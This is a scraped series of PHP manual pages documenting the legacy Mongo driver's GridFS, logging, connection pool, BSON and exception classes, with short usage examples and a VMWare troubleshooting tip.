  • MongoGridFS::find — Queries for files
  • MongoGridFS::findOne — Returns a single file matching the criteria
  • MongoGridFS::get — Retrieve a file from the database
  • MongoGridFS::put — Stores a file in the database
  • MongoGridFS::remove — Removes files from the collections
  • MongoGridFS::storeBytes — Chunkifies and stores bytes in the database
  • MongoGridFS::storeFile — Stores a file in the database
  • MongoGridFS::storeUpload — Saves an uploaded file to the database

User Contributed Notes

There are no user contributed notes for this page.
GridFS Classes
MongoGridFS::__construct
GridFS Classes


Creates new file collections

MongoGridFS
MongoGridFS::delete
MongoGridFS
PHP Manual

MongoGridFS::__construct

(PECL mongo >=0.9.0)

MongoGridFS::__construct — Creates new file collections

Description

public MongoGridFS::__construct ( MongoDB $db [, string $prefix = "fs" [, mixed $chunks = "fs" ]] )

Files as stored across two collections, the first containing file meta information, the second containing chunks of the actual file. By default, fs.files and fs.chunks are the collection names used.

Use one argument to specify a prefix other than "fs":

$fs = new MongoGridFS($db, "myfiles");
uses myfiles.files and myfiles.chunks collections.

Parameters

db

Database.

files

Optional collection name prefix.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS
MongoGridFS::delete
MongoGridFS


Delete a file from the database

MongoGridFS::__construct
MongoGridFS::drop
MongoGridFS
PHP Manual

MongoGridFS::delete

(PECL mongo >=1.0.8)

MongoGridFS::delete — Delete a file from the database

Description

public bool MongoGridFS::delete ( mixed $id )

Parameters

id

_id of the file to remove.

Return Values

Returns if the remove was successfully sent to the database.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS::__construct
MongoGridFS::drop
MongoGridFS


Drops the files and chunks collections

MongoGridFS::delete
MongoGridFS::find
MongoGridFS
PHP Manual

MongoGridFS::drop

(PECL mongo >=0.9.0)

MongoGridFS::drop — Drops the files and chunks collections

Description

public array MongoGridFS::drop ( void )

Parameters

This function has no parameters.

Return Values

The database response.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS::delete
MongoGridFS::find
MongoGridFS


Queries for files

MongoGridFS::drop
MongoGridFS::findOne
MongoGridFS
PHP Manual

MongoGridFS::find

(PECL mongo >=0.9.0)

MongoGridFS::find — Queries for files

Description

 public MongoGridFSCursor MongoGridFS::find
  ([ array $query = array()
 [, array $fields = array()
]] )

Parameters

query

The query.

fields

Fields to return.

Return Values

A MongoGridFSCursor.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS::drop
MongoGridFS::findOne
MongoGridFS


Returns a single file matching the criteria

MongoGridFS::find
MongoGridFS::get
MongoGridFS
PHP Manual

MongoGridFS::findOne

(PECL mongo >=0.9.0)

MongoGridFS::findOne — Returns a single file matching the criteria

Description

 public MongoGridFSFile MongoGridFS::findOne
  ([ mixed $query = array()
 [, mixed $fields = array()
]] )

Parameters

query

The filename or criteria for which to search.

Return Values

Returns a MongoGridFSFile or NULL.

Examples

Example #1 MongoGridFS::findOne() example

Example demonstrating how to find a single file from the MongoGridFS.

<?php

$downloads = $mongo->my_db->getGridFS('downloads');

$downloads->storeFile('filename.tgz');

$download = $downloads->findOne('filename.tgz'); // instance of MongoGridFSFile

print_r($download);
?>

See MongoGridFSFile for more information about how to work with files.

The above example will output something similar to:

MongoGridFSFile Object
(
    [file] => Array
        (
            [_id] => MongoId Object
                (
                )

            [filename] => filename.tgz
            [uploadDate] => MongoDate Object
                (
                    [sec] => 1274288014
                    [usec] => 467000
                )

            [chunkSize] => 262144
            [md5] => d41d8cd98f00b204e9800998ecf8427e
        )

    [gridfs:protected] => MongoGridFS Object
        (
            [chunks] => MongoCollection Object
                (
                )

            [filesName:protected] => downloads.files
            [chunksName:protected] => downloads.chunks
        )

)

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS::find
MongoGridFS::get
MongoGridFS


Retrieve a file from the database

MongoGridFS::findOne
MongoGridFS::put
MongoGridFS
PHP Manual

MongoGridFS::get

(PECL mongo >=1.0.8)

MongoGridFS::get — Retrieve a file from the database

Description

public MongoGridFSFile MongoGridFS::get ( mixed $id )

Parameters

id

_id of the file to find.

Return Values

Returns the file, if found, or NULL.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS::findOne
MongoGridFS::put
MongoGridFS


Stores a file in the database

MongoGridFS::get
MongoGridFS::remove
MongoGridFS
PHP Manual

MongoGridFS::put

(PECL mongo >=1.0.8)

MongoGridFS::put — Stores a file in the database

Description

public mixed MongoGridFS::put ( string $filename [, array $extra = array() ] )

Parameters

filename

The name of the file.

extra

Other metadata to add to the file saved.

Return Values

Returns the _id of the saved object.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS::get
MongoGridFS::remove
MongoGridFS


Removes files from the collections

MongoGridFS::put
MongoGridFS::storeBytes
MongoGridFS
PHP Manual

MongoGridFS::remove

(PECL mongo >=0.9.0)

MongoGridFS::remove — Removes files from the collections

Description

 public bool MongoGridFS::remove
  ([ array $criteria = array()
 [, array $options = array()
]] )

Parameters

query

The filename or criteria for which to search.

options

Options for the remove. Valid options are:

  • "safe"

    Check that the remove succeeded.

Return Values

Returns if the removal was successfully sent to the database.

User Contributed Notes

fhagard at lightcube dot us 08-Apr-2010 06:58
To ensure that a remove occurred successfully use MongoDB::lastError(). Currently MongoGridFS::remove will return even if the remove failed.
MongoGridFS::put
MongoGridFS::storeBytes
MongoGridFS


Chunkifies and stores bytes in the database

MongoGridFS::remove
MongoGridFS::storeFile
MongoGridFS
PHP Manual

MongoGridFS::storeBytes

(PECL mongo >=0.9.2)

MongoGridFS::storeBytes — Chunkifies and stores bytes in the database

Description

public mixed MongoGridFS::storeBytes ( string $bytes [, array $extra = array() [, array $options = array() ]] )

Parameters

bytes

A string of bytes to store.

extra

Other metadata to add to the file saved.

options

Options for the store.

  • "safe"

    Check that this store succeeded.

Return Values

The _id of the object saved.

Errors/Exceptions

Throws MongoCursorException if the "safe" option is set and the insert fails.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS::remove
MongoGridFS::storeFile
MongoGridFS


Stores a file in the database

MongoGridFS::storeBytes
MongoGridFS::storeUpload
MongoGridFS
PHP Manual

MongoGridFS::storeFile

(PECL mongo >=0.9.0)

MongoGridFS::storeFile — Stores a file in the database

Description

public mixed MongoGridFS::storeFile ( string $filename [, array $extra = array() [, array $options = array() ]] )

Parameters

filename

The name of the file.

extra

Other metadata to add to the file saved.

options

Options for the store.

  • "safe"

    Check that this store succeeded.

Return Values

Returns the _id of the saved object.

Errors/Exceptions

Throws MongoCursorException if the "safe" option is set and the insert fails.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS::storeBytes
MongoGridFS::storeUpload
MongoGridFS


Saves an uploaded file to the database

MongoGridFS::storeFile
MongoGridFSFile
MongoGridFS
PHP Manual

MongoGridFS::storeUpload

(PECL mongo >=0.9.0)

MongoGridFS::storeUpload — Saves an uploaded file to the database

Description

public mixed MongoGridFS::storeUpload ( string $name [, array $metadata ] )

Stores files directly from a POST to the database. For example, suppose you had the following HTML form:

<form method="POST" enctype="multipart/form-data">
     Please upload a profile picture: <input type="file" name="pic"/>
     <input type="submit"/>
</form>

If you wanted to store this upload in MongoDB, you could do:

<?php

$grid->storeUpload("pic", array("username" => "joe"));

?>

Note that the "name" field in HTML matches the name parameter.

Parameters

name

The name field of the uploaded file.

metadata

An array of extra fields for the uploaded file.

Return Values

Returns the _id of the uploaded file.

Changelog

Version | Description
1.2.5 | Changed second parameter to an array of metadata. Pre-1.2.5, the second parameter was an optional string overriding the filename.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS::storeFile
MongoGridFSFile
MongoGridFS


The MongoGridFSFile class

(No version information available, might only be in SVN)

Introduction

A database file object.

Class synopsis

MongoGridFSFile {
/* Fields */
public array $file = NULL ;
protected MongoGridFS $gridfs = NULL ;
/* Methods */
public MongoGridfsFile::__construct ( MongoGridFS $gridfs , array $file )
public string getBytes ( void )
public string getFilename ( void )
public stream getResource ( void )
public int getSize ( void )
public int write ([ string $filename = NULL ] )
}

Table of Contents

  • MongoGridfsFile::__construct — Create a new GridFS file
  • MongoGridFSFile::getBytes — Returns this file's contents as a string of bytes
  • MongoGridFSFile::getFilename — Returns this file's filename
  • MongoGridFSFile::getResource — Returns a resource that can be used to read the stored file
  • MongoGridFSFile::getSize — Returns this file's size
  • MongoGridFSFile::write — Writes this file to the filesystem

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFS::storeUpload
MongoGridfsFile::__construct
GridFS Classes


Create a new GridFS file

MongoGridFSFile
MongoGridFSFile::getBytes
MongoGridFSFile
PHP Manual

MongoGridfsFile::__construct

(PECL mongo >=0.9.0)

MongoGridfsFile::__construct — Create a new GridFS file

Description

public MongoGridfsFile::__construct ( MongoGridFS $gridfs , array $file )

Parameters

gridfs

The parent MongoGridFS instance.

file

A file from the database.

Return Values

Returns a new MongoGridFSFile.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSFile
MongoGridFSFile::getBytes
MongoGridFSFile


Returns this file's contents as a string of bytes

MongoGridfsFile::__construct
MongoGridFSFile::getFilename
MongoGridFSFile
PHP Manual

MongoGridFSFile::getBytes

(PECL mongo >=0.9.0)

MongoGridFSFile::getBytes — Returns this file's contents as a string of bytes

Description

public string MongoGridFSFile::getBytes ( void )

Warning: this will load the file into memory. If the file is bigger than your memory, this will cause problems!

Parameters

This function has no parameters.

Return Values

Returns a string of the bytes in the file.

Examples

Example #1 MongoGridFSFile::getBytes() example

<?php

$images = $db->my_db->getGridFS('images');

$image = $images->findOne('jwage.png');

header('Content-type: image/png;');
echo $image->getBytes();
?>

User Contributed Notes

There are no user contributed notes for this page.
MongoGridfsFile::__construct
MongoGridFSFile::getFilename
MongoGridFSFile


Returns this file's filename

MongoGridFSFile::getBytes
MongoGridFSFile::getResource
MongoGridFSFile
PHP Manual

MongoGridFSFile::getFilename

(PECL mongo >=0.9.0)

MongoGridFSFile::getFilename — Returns this file's filename

Description

public string MongoGridFSFile::getFilename ( void )

Parameters

This function has no parameters.

Return Values

Returns the filename.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSFile::getBytes
MongoGridFSFile::getResource
MongoGridFSFile


Returns a resource that can be used to read the stored file

MongoGridFSFile::getFilename
MongoGridFSFile::getSize
MongoGridFSFile
PHP Manual

MongoGridFSFile::getResource

(No version information available, might only be in SVN)

MongoGridFSFile::getResource — Returns a resource that can be used to read the stored file

Description

public stream MongoGridFSFile::getResource ( void )

This method returns a stream resource that can be used with all file functions in PHP. The contents of the file are pulled out of MongoDB on the fly, so that the whole file does not have to be loaded into memory first.

At most two GridFSFile chunks will be loaded in memory.

Parameters

This function has no parameters.

Return Values

Returns a resource that can be used to read the file with

Examples

Example #1 MongoGridFSFile::getResource() example

<?php
$m = new Mongo;
$images = $m->my_db->getGridFS('images');

$image = $images->findOne('mongo.png');

header('Content-type: image/png;');
$stream = $image->getResource();

while (!feof($stream)) {
    echo fread($stream, 8192);
}
?>

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSFile::getFilename
MongoGridFSFile::getSize
MongoGridFSFile


Returns this file's size

MongoGridFSFile::getResource
MongoGridFSFile::write
MongoGridFSFile
PHP Manual

MongoGridFSFile::getSize

(PECL mongo >=0.9.0)

MongoGridFSFile::getSize — Returns this file's size

Description

public int MongoGridFSFile::getSize ( void )

Parameters

This function has no parameters.

Return Values

Returns this file's size

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSFile::getResource
MongoGridFSFile::write
MongoGridFSFile


Writes this file to the filesystem

MongoGridFSFile::getSize
MongoGridFSCursor
MongoGridFSFile
PHP Manual

MongoGridFSFile::write

(PECL mongo >=0.9.0)

MongoGridFSFile::write — Writes this file to the filesystem

Description

public int MongoGridFSFile::write ([ string $filename = NULL ] )

Parameters

filename

The location to which to write the file. If none is given, the stored filename will be used.

Return Values

Returns the number of bytes written.

Examples

Example #1 MongoGridFSFile::write() example

<?php

$images = $db->my_db->getGridFS('images');

$image = $images->findOne('jwage.png');
$image->write('/path/to/write/jwage.png');
?>

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSFile::getSize
MongoGridFSCursor
MongoGridFSFile


The MongoGridFSCursor class

(No version information available, might only be in SVN)

Introduction

Cursor for database file results.

Class synopsis

extends MongoCursor {
/* Fields */
protected MongoGridFS $gridfs = NULL ;
/* Methods */
public __construct ( MongoGridFS $gridfs , resource $connection , string $ns , array $query , array $fields )
public MongoGridFSFile current ( void )
public MongoGridFSFile getNext ( void )
public string key ( void )
}

Table of Contents

  • MongoGridFSCursor::__construct — Create a new cursor
  • MongoGridFSCursor::current — Returns the current file
  • MongoGridFSCursor::getNext — Return the next file to which this cursor points, and advance the cursor
  • MongoGridFSCursor::key — Returns the current result's filename

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSFile::write
MongoGridFSCursor::__construct
GridFS Classes


Create a new cursor

MongoGridFSCursor
MongoGridFSCursor::current
MongoGridFSCursor
PHP Manual

MongoGridFSCursor::__construct

(PECL mongo >=0.9.0)

MongoGridFSCursor::__construct — Create a new cursor

Description

public MongoGridFSCursor::__construct ( MongoGridFS $gridfs , resource $connection , string $ns , array $query , array $fields )

Parameters

gridfs

Related GridFS collection.

connection

Database connection.

ns

Full name of database and collection.

query

Database query.

fields

Fields to return.

Return Values

Returns the new cursor.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSCursor
MongoGridFSCursor::current
MongoGridFSCursor


Returns the current file

MongoGridFSCursor::__construct
MongoGridFSCursor::getNext
MongoGridFSCursor
PHP Manual

MongoGridFSCursor::current

(PECL mongo >=0.9.0)

MongoGridFSCursor::current — Returns the current file

Description

public MongoGridFSFile MongoGridFSCursor::current ( void )

Parameters

This function has no parameters.

Return Values

The current file.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSCursor::__construct
MongoGridFSCursor::getNext
MongoGridFSCursor


Return the next file to which this cursor points, and advance the cursor

MongoGridFSCursor::current
MongoGridFSCursor::key
MongoGridFSCursor
PHP Manual

MongoGridFSCursor::getNext

(PECL mongo >=0.9.0)

MongoGridFSCursor::getNext — Return the next file to which this cursor points, and advance the cursor

Description

public MongoGridFSFile MongoGridFSCursor::getNext ( void )

Parameters

This function has no parameters.

Return Values

Returns the next file.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSCursor::current
MongoGridFSCursor::key
MongoGridFSCursor


Returns the current result's filename

MongoGridFSCursor::getNext
Miscellaneous
MongoGridFSCursor
PHP Manual

MongoGridFSCursor::key

(PECL mongo >=0.9.0)

MongoGridFSCursor::key — Returns the current result's filename

Description

public string MongoGridFSCursor::key ( void )

Parameters

This function has no parameters.

Return Values

The current result's filename.

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSCursor::getNext
Miscellaneous
MongoGridFSCursor


Miscellaneous

Table of Contents

  • MongoLog
  • MongoPool

User Contributed Notes

There are no user contributed notes for this page.
MongoGridFSCursor::key
MongoLog
Mongo


The MongoLog class

(No version information available, might only be in SVN)

Introduction

Logging can be used to get detailed information about what the driver is doing. With PHP-CLI, log output will be printed to stderr. Under an app server, log messages will generally be printed to an error log.

Logging is turned off, by default. This class allows you to turn on specific levels of logging for specific parts of the driver. Some examples:

<?php

// print every log message possible
MongoLog::setLevel(MongoLog::ALL); // all log levels
MongoLog::setModule(MongoLog::ALL); // all parts of the driver

// print significant events about replica set failover
MongoLog::setLevel(MongoLog::INFO);
MongoLog::setModule(MongoLog::RS);

// print info- and server tuning-level events from replica sets and connection pooling
MongoLog::setLevel(MongoLog::INFO|MongoLog::FINE);
MongoLog::setModule(MongoLog::RS|MongoLog::POOL);

?>

Class synopsis

MongoLog {
/* Constants */
const int NONE ;
const int ALL ;
level constants {
const int WARNING ;
const int INFO ;
const int FINE ;
module constants {
const int RS ;
const int POOL ;
const int IO ;
const int SERVER ;
const int PARSE ;
/* Fields */
public int $level ;
public int $module ;
/* Methods */
public MongoDate::__construct ([ int $sec = time() [, int $usec = 0 ]] )
public string MongoDate::__toString ( void )
}

Predefined Constants

MongoLog Constants

These constants can be used by both MongoLog::setLevel() and MongoLog::setModule().

MongoLog::NONE
Constant for turning logging off.
MongoLog::ALL
Constant for logging everything.

MongoLog Level Constants

These constants can be used by MongoLog::setLevel().

MongoLog::WARNING
This will print log messages about somewhat exceptional but not-quite-exception-worthy happenings.
MongoLog::INFO
Logs events that may be of interest to administrators, but are not particularly noteworthy.
MongoLog::FINE
Logs most events that the driver performs. Depending on the module being logged, this can be extremely noisy and is primarily for debugging.

MongoLog Module Constants

These constants can be used by MongoLog::setModule().

MongoLog::IO
Logs traffic to/from the database. Unless your program is trivial, this will create an enormous number of log messages.
MongoLog::PARSE
Log server string parsing.
MongoLog::POOL
Log connection pool activity. Creating new connections, reusing connections, and closing connections.
MongoLog::RS
Log replica set activity. Failovers, pinging, chosing secondaries to read from, etc.
MongoLog::SERVER
Log server status changes. Detecting primary, secondary and duplication detection.

Table of Contents

  • MongoLog::getLevel — Gets the log level
  • MongoLog::getModule — Gets the modules currently being logged
  • MongoLog::setLevel — Sets logging level
  • MongoLog::setModule — Sets driver functionality to log

User Contributed Notes

There are no user contributed notes for this page.
Miscellaneous
MongoLog::getLevel
Miscellaneous


Gets the log level

MongoLog
MongoLog::getModule
MongoLog
PHP Manual

MongoLog::getLevel

(No version information available, might only be in SVN)

MongoLog::getLevel — Gets the log level

Description

public static int MongoLog::getLevel ( void )

This can be used to see the log level. Use the constants described in the MongoLog section with bitwise operators to check the level.

<?php

if (MongoLog::getLevel() & MongoLog::FINE) {
    echo "lots 'o logs\n";
}

if (MongoLog::getLevel() ^ MongoLog::NONE) {
    echo "logging, at least a little\n";
}

if (MongoLog::getLevel() == MongoLog::ALL) {
    echo "logging at the highest levels\n";
}

?>

Parameters

This function has no parameters.

Return Values

Returns the current level.

User Contributed Notes

There are no user contributed notes for this page.
MongoLog
MongoLog::getModule
MongoLog


Gets the modules currently being logged

MongoLog::getLevel
MongoLog::setLevel
MongoLog
PHP Manual

MongoLog::getModule

(No version information available, might only be in SVN)

MongoLog::getModule — Gets the modules currently being logged

Description

public static int MongoLog::getModule ( void )

This function can be used to see which parts of the driver's functionality are being logged. Use the constants described in the MongoLog section with bitwise operators to check if specific modules are being logged.

<?php

if (MongoLog::getModule() & MongoLog::RS) {
    echo "logging replica sets\n";
}

if (MongoLog::getModule() ^ MongoLog::NONE) {
    echo "logging something\n";
}

if ((MongoLog::getModule() & MongoLog::IO) == 0) {
    echo "not logging io\n";
}

?>

Parameters

This function has no parameters.

Return Values

Returns the modules currently being logged.

User Contributed Notes

There are no user contributed notes for this page.
MongoLog::getLevel
MongoLog::setLevel
MongoLog


Sets logging level

MongoLog::getModule
MongoLog::setModule
MongoLog
PHP Manual

MongoLog::setLevel

(No version information available, might only be in SVN)

MongoLog::setLevel — Sets logging level

Description

public static void MongoLog::setLevel ( int $level )

This function can be used to set how verbose logging should be and the types of activities that should be logged. Use the constants described in the MongoLog section with bitwise operators to specify levels.

<?php

// first, turning on logging for a module
MongoLog::setModule(MongoLog::POOL);

// log messages of every level
MongoLog::setLevel(MongoLog::ALL);

// log warnings and info
MongoLog::setLevel(MongoLog::WARNING|MongoLog::INFO);

// log everything except fine activity
MongoLog::setLevel(MongoLog::ALL & (~MongoLog::FINE));

?>

Note that you must also call MongoLog::setModule() to choose what part of the driver to log.

Parameters

level

The levels you would like to log.

User Contributed Notes

There are no user contributed notes for this page.
MongoLog::getModule
MongoLog::setModule
MongoLog


Sets driver functionality to log

MongoLog::setLevel
MongoPool
MongoLog
PHP Manual

MongoLog::setModule

(No version information available, might only be in SVN)

MongoLog::setModule — Sets driver functionality to log

Description

public static void MongoLog::setModule ( int $module )

This function can be used to set which parts of the driver's functionality should be logged. Use the constants described in the MongoLog section with bitwise operators to specify modules.

<?php

// first, turning up the logging level
MongoLog::setLevel(MongoLog::ALL);

// log replica set activity
MongoLog::setModule(MongoLog::RS);

// log replica sets and connection pooling
MongoLog::setModule(MongoLog::RS|MongoLog::ALL);

// log everything except IO activity
MongoLog::setModule(MongoLog::ALL & (~MongoLog::IO));

?>

Note that you must also call MongoLog::setLevel() to turn on logging.

Parameters

module

The module(s) you would like to log.

User Contributed Notes

There are no user contributed notes for this page.
MongoLog::setLevel
MongoPool
MongoLog


The MongoPool class

(No version information available, might only be in SVN)

Introduction

In version 1.2.0 of the driver, built-in connection pooling was introduced. This class gives you some control and information about pooling.

Note:

The functions in this class were originally static members of Mongo. It is highly recommended that you use these functions in the future, as the static Mongo functions are considered deprecated.

Class synopsis

MongoPool {
/* Methods */
public static int getSize ( void )
public array info ( void )
public static bool setSize ( int $size )
}

Table of Contents

  • MongoPool::getSize — Get pool size for connection pools
  • MongoPool::info — Returns information about all connection pools.
  • MongoPool::setSize — Set the size for future connection pools.

User Contributed Notes

There are no user contributed notes for this page.
MongoLog::setModule
MongoPool::getSize
Miscellaneous


Get pool size for connection pools

MongoPool
MongoPool::info
MongoPool
PHP Manual

MongoPool::getSize

(No version information available, might only be in SVN)

MongoPool::getSize — Get pool size for connection pools

Description

public static int MongoPool::getSize ( void )

Parameters

This function has no parameters.

Return Values

Returns the current pool size.

Examples

Example #1 Changing pool size

This returns the default pool size, sets a new pool size, then prints the new pool size and the pool debugging information. Note that changing the pool size only affects new connection pools, it does not change old ones.

<?php

$connection = new Mongo("host1");

// pool size is -1
echo "pool size is: ".MongoPool::getSize()."\n";

echo "setting pool size to 200\n";

MongoPool::setSize(200);

// pool size is 200
echo "pool size is: ".MongoPool::getSize()."\n";

$conn2 = new Mongo("host2");

// remaining for host1 is -2
// remaining for host2 is 199
var_dump(Mongo::poolDebug());

?>

See Also

  • MongoPool::setSize() - Set the size for future connection pools.
  • MongoPool::info() - Returns information about all connection pools.
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.
MongoPool
MongoPool::info
MongoPool


Returns information about all connection pools.

MongoPool::getSize
MongoPool::setSize
MongoPool
PHP Manual

MongoPool::info

(No version information available, might only be in SVN)

MongoPool::info — Returns information about all connection pools.

Description

public array MongoPool::info ( void )

Returns an array of information about all connection pools.

Parameters

This function has no parameters.

Return Values

Each connection pool has an identifier, which starts with the host. For each pool, this function shows the following fields:

in use

The number of connections currently being used by Mongo instances.

in pool

The number of connections currently in the pool (not being used).

remaining

The number of connections that could be created by this pool. For example, suppose a pool had 5 connections remaining and 3 connections in the pool. We could create 8 new instances of Mongo before we exhausted this pool (assuming no instances of Mongo went out of scope, returning their connections to the pool).

A negative number means that this pool will spawn unlimited connections.

Before a pool is created, you can change the max number of connections by calling Mongo::setPoolSize(). Once a pool is showing up in the output of this function, its size cannot be changed.

total

The total number of connections allowed for this pool. This should be greater than or equal to "in use" + "in pool" (or -1).

timeout

The socket timeout for connections in this pool. This is how long connections in this pool will attempt to connect to a server before giving up.

waiting

If you have capped the pool size, workers requesting connections from the pool may block until other workers return their connections. This field shows how many milliseconds workers have blocked for connections to be released. If this number keeps increasing, you may want to use MongoPool::setSize() to add more connections to your pool.

User Contributed Notes

There are no user contributed notes for this page.
MongoPool::getSize
MongoPool::setSize
MongoPool


Set the size for future connection pools.

MongoPool::info
Functions
MongoPool
PHP Manual

MongoPool::setSize

(No version information available, might only be in SVN)

MongoPool::setSize — Set the size for future connection pools.

Description

public static bool MongoPool::setSize ( int $size )

Sets the max number of connections new pools will be able to create.

Parameters

size

The max number of connections future pools will be able to create. Negative numbers mean that the pool will spawn an infinite number of connections.

Return Values

Returns the former value of pool size.

Examples

Example #1 Mongo::setPoolSize() example

If you set the pool size to n and then create n connections, attempting to create an n+1st connection will throw a MongoConnectionException.

<?php

// only allow one connection to a server
MongoPool::setSize(1);

// creates one connection to localhost:27017
$m1 = new Mongo();

// attempt to create a second connection to localhost:27017
// only one connection is allowed, so this will throw an exception
$m2 = new Mongo();

?>

The above example will output something similar to:

Fatal error: Uncaught exception 'MongoConnectionException' with message 'no more connections in pool' in /path/to/php/script.php:10
Stack trace:
#0 /path/to/php/script.php(10): Mongo->__construct()
#1 {main}
  thrown in /path/to/php/script.php on line 10

See Also

  • MongoPool::getSize() - Get pool size for connection pools
  • MongoPool::info() - Returns information about all connection pools.
  • The connection documentation.

User Contributed Notes

There are no user contributed notes for this page.
MongoPool::info
Functions
MongoPool


Functions

Table of Contents

  • Mongo Functions

User Contributed Notes

There are no user contributed notes for this page.
MongoPool::setSize
Mongo Functions
Mongo


Mongo Functions

Table of Contents

  • bson_decode — Deserializes a BSON object into a PHP array
  • bson_encode — Serializes a PHP variable into a BSON string

User Contributed Notes

There are no user contributed notes for this page.
Functions
bson_decode
Functions


Deserializes a BSON object into a PHP array

Mongo Functions
bson_encode
Mongo Functions
PHP Manual

bson_decode

(PECL mongo >=1.0.1)

bson_decode — Deserializes a BSON object into a PHP array

Description

array bson_decode ( string $bson )

This function is very beta and entirely useless for 99% of users. It is only useful if you're doing something weird, such as writing your own driver on top of the PHP driver.

Parameters

bson

The BSON to be deserialized.

Return Values

Returns the deserialized BSON object.

User Contributed Notes

There are no user contributed notes for this page.
Mongo Functions
bson_encode
Mongo Functions


Serializes a PHP variable into a BSON string

bson_decode
Exceptions
Mongo Functions
PHP Manual

bson_encode

(PECL mongo >=1.0.1)

bson_encode — Serializes a PHP variable into a BSON string

Description

string bson_encode ( mixed $anything )

This function is very beta and entirely useless for 99% of users. It is only useful if you're doing something weird, such as writing your own driver on top of the PHP driver.

Parameters

anything

The variable to be serialized.

Return Values

Returns the serialized string.

User Contributed Notes

There are no user contributed notes for this page.
bson_decode
Exceptions
Mongo Functions


Exceptions

Table of Contents

  • MongoException
  • MongoCursorException
  • MongoCursorTimeoutException
  • MongoConnectionException
  • MongoGridFSException

VMWare Oddities

If you are running VMWare on Windows and are using CIFS, pausing the VM will cause CIFS to go out of sync and cause weird errors on un-pausing it ("The Mongo object has not been correctly initialized by its constructor"). Permanently mounting the Windows shares will fix this and you'll be able to pause and unpause at will.

To permanently mount the Windows shares, run:

$ sudo update-rc.d -f umountnfs.sh remove
$ sudo update-rc.d umountnfs.sh stop 15 0 6 .

See » the Ubuntu docs for the most up-to-date instructions.

User Contributed Notes

There are no user contributed notes for this page.
bson_encode
MongoException
Mongo


The MongoException class

(No version information available, might only be in SVN)

Introduction

Default Mongo exception.

This covers a bunch of different error conditions that may eventually be moved to more specific exceptions, but will always extend MongoException.

  • The MongoSomething object has not been correctly initialized by its constructor

    Code: 0

    Probably your Mongo object is not connected to a database server.

  • zero-length keys are not allowed, did you use $ with double quotes?

    Code: 1

    You tried to save "" as a key. You generally should not do this. "" can mess up subobject access and is used by MongoDB internally. However, if you really want, you can set mongo.allow_empty_keys to true in your php.ini file to override this sanity check. If you override this, it is highly recommended that you set error checking to strict to avoid string interpolation errors.

  • '.' not allowed in key: <key>

    Code: 2

    You attempted to write a key with '.' in it, which is prohibited.

  • insert too large: <size>, max: <max>

    Code: 3

    You're attempting to send too much data to the database at once: the database will only accept inserts up to a certain size (currently 16 MB).

  • no elements in doc

    Code: 4

    You're attempting to save a document with no fields.

  • size of BSON doc is <size> bytes, max <max>MB

    Code: 5

    You're attempting to save a document that is larger than MongoDB can save.

  • no documents given

    Code: 6

    You're attempting to batch insert an empty array of documents.

  • MongoCollection::group takes an array, object, or MongoCode key

    Code: 7

    Wrong type parameter send to MongoCollection::group().

  • field names must be strings

    Code: 8

    You should format field selectors as array("field1" => 1, "field2" => 1, ..., "fieldN" => 1).

  • invalid regex

    Code: 8

    The regex passed to MongoRegex is not of the correct form.

  • MongoDBRef::get: $ref field must be a string

    Code: 10

  • MongoDBRef::get: $db field must be a string

    Code: 11

  • non-utf8 string: <str>

    Code: 12

    This error occurs if you attempt to send a non-utf8 string to the database. All strings going into the database should be UTF8. See php.ini options for the transition option of quieting this exception.

  • mutex error: <err>

    Code: 13

    The driver uses mutexes for synchronizing requests and responses in multithreaded environments. This is a fairly serious error and may not have a stack trace. It's unusual and should be reported to maintainers with any system information and steps to reproduce that you can provide.

  • index name too long: <len>, max <max> characters

    Code: 14

    Indexes with names longer than 128 characters cannot be created. If you get this error, you should use MongoCollection::ensureIndex()'s "name" option to create a shorter name for your index.

Class synopsis

extends Exception {
}

User Contributed Notes

There are no user contributed notes for this page.
Exceptions
MongoCursorException
Exceptions


The MongoCursorException class

(No version information available, might only be in SVN)

Introduction

Caused by accessing a cursor incorrectly or a error receiving a reply. Note that this can be thrown by any database request that receives a reply, not just queries. Writes, commands, and any other operation that sends information to the database and waits for a response can throw a MongoCursorException. The only exception is new Mongo() (creating a new connection), which will only throw MongoConnectionExceptions.

This returns a specific error message to help diagnose the problem and a numeric error code associated with the cause of the exception.

For example, suppose you tried to insert two documents with the same _id:

<?php

try {
    $collection->insert(array("_id" => 1), array("safe" => true));
    $collection->insert(array("_id" => 1), array("safe" => true));
}
catch (MongoCursorException $e) {
    echo "error message: ".$e->getMessage()."\n";
    echo "error code: ".$e->getCode()."\n";
}

?>
This would produce output like:
error message: E11000 duplicate key error index: foo.bar.$_id_  dup key: { : 1 }
error code: 11000
Note that the MongoDB error code (11000) is used for the PHP error code. The PHP driver uses the "native" error code wherever possible.

The following is a list of common errors, codes, and causes. Exact errors are in italics, errors where the message can vary are described in obliques.

  • cannot modify cursor after beginning iteration

    Code: 0

    You are calling a method that sets up the query after executing the query. Reset the cursor and try again.

    An example:

    <?php

    try {
            $cursor = $collection->find();
            var_dump($cursor->getNext());

            // getNext() queried the database, it's too late to set a limit
            $cursor->limit(1);
    }
    catch (    MongoCursorException $e) {
        echo     "error message: ".$e->getMessage()."\n";
        echo     "error code: ".$e->getCode()."\n";
    }

    // this will work, though:
    $cursor->getNext();
    $cursor->reset();
    $cursor->limit(1);

    ?>

  • Get next batch send errors

    Code: 1

    Could not send the query to the database. Make sure the database is still up and the network is okay.

  • cursor not found

    Code: 2

